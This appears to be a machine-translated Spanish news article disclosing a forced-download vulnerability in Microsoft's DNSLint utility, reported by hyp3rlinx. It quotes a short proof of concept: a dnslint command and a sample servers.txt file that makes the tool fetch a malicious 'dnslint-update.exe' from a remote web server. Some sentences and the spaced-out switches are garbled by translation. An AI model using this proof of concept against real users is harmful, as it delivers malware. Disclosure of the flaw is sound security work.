El conmutador QL de la utilidad DNSLint de Microsoft podría permitir la descarga de archivos remotos

Corporación Microsoft

Microsoft DNSLint La utilidad funciona para diagnosticar problemas de búsqueda de nombres del Sistema de nombres de dominio (DNS) relacionados con las direcciones IP asignadas a diferentes servidores web a los que se accede a través de un navegador. No se incluye como parte del paquete básico de Windows, pero se puede descargar del sitio web de Microsoft de forma gratuita. Una vulnerabilidad de acceso remoto calificada con 7.6 (crítica) en el CVSS 3.0 Se descubrió que la escala afecta a esta utilidad, lo que provoca que se realicen descargas forzadas.

La vulnerabilidad surge del hecho de que DNSLint no revisa los nombres de dominio cuando analiza los archivos de prueba de DNS según el modificador '/ ql'. En el caso de que un usuario final logre utilizar un archivo que contenga una secuencia de comandos o código binario en lugar de la información de nombre de dominio típicamente anticipada, el sistema podría ponerse en riesgo cuando sea fácil instituir descargas forzadas. En el caso de que esto ocurra, un hacker podría presionar para la descarga forzada de un archivo malicioso que podría descargar y ejecutar comandos remotos cuando se accede a través del navegador web. La descarga se guardaría en una ubicación del sistema local y solicitaría el acceso de seguridad y, al ver que el archivo proviene de una ubicación conocida en la unidad de disco, el usuario podría inclinarse a permitir que el ejecutable continúe. Una vez que se conceden privilegios al archivo malicioso, podría ejecutar cualquier código previsto de forma remota y comprometer la seguridad y privacidad del usuario.

John Page de hyp3rlinx ha escrito una prueba de concepto que simula esta vulnerabilidad, explicando que un archivo no deseado podría descargarse de la siguiente manera cuando se utiliza un archivo de texto de referencia binario o script en lugar del nombre de dominio:

dnslint.exe / v / y / d 'MALWARE-FILE' / s X.X.X.X / r 'myreport'

En el contexto de la utilidad DNSLint, a continuación se muestra cómo se podría aprovechar la vulnerabilidad para introducir malware en el sistema.

1) “dnslint-update.exe” en el directorio raíz del servidor web remoto.
2) 'servers.txt'
DNSLint
; Este es un archivo de entrada DNSLint de muestra
+ Este servidor DNS se llama: dns1.cp.msft.net
[servidor dns ~] X.X.X.X
, a, r; Un registro
X.X.X.X, ptr, r; registro PTR
test1, cname, r; registro CNAME
test2, mx, r; registro MX
3) dnslint.exe / ql servers.txt

El código anterior no se modificó como se describe en el derechos de hyp3rlinx a este contenido. Al revelar esta vulnerabilidad, no parece que haya ninguna actualización de parche para resolver este problema hasta el momento. Todavía se debe asignar un código CVE a esta vulnerabilidad y Microsoft debe identificarlo y escribirlo en su boletín de seguridad oficial sobre el tema.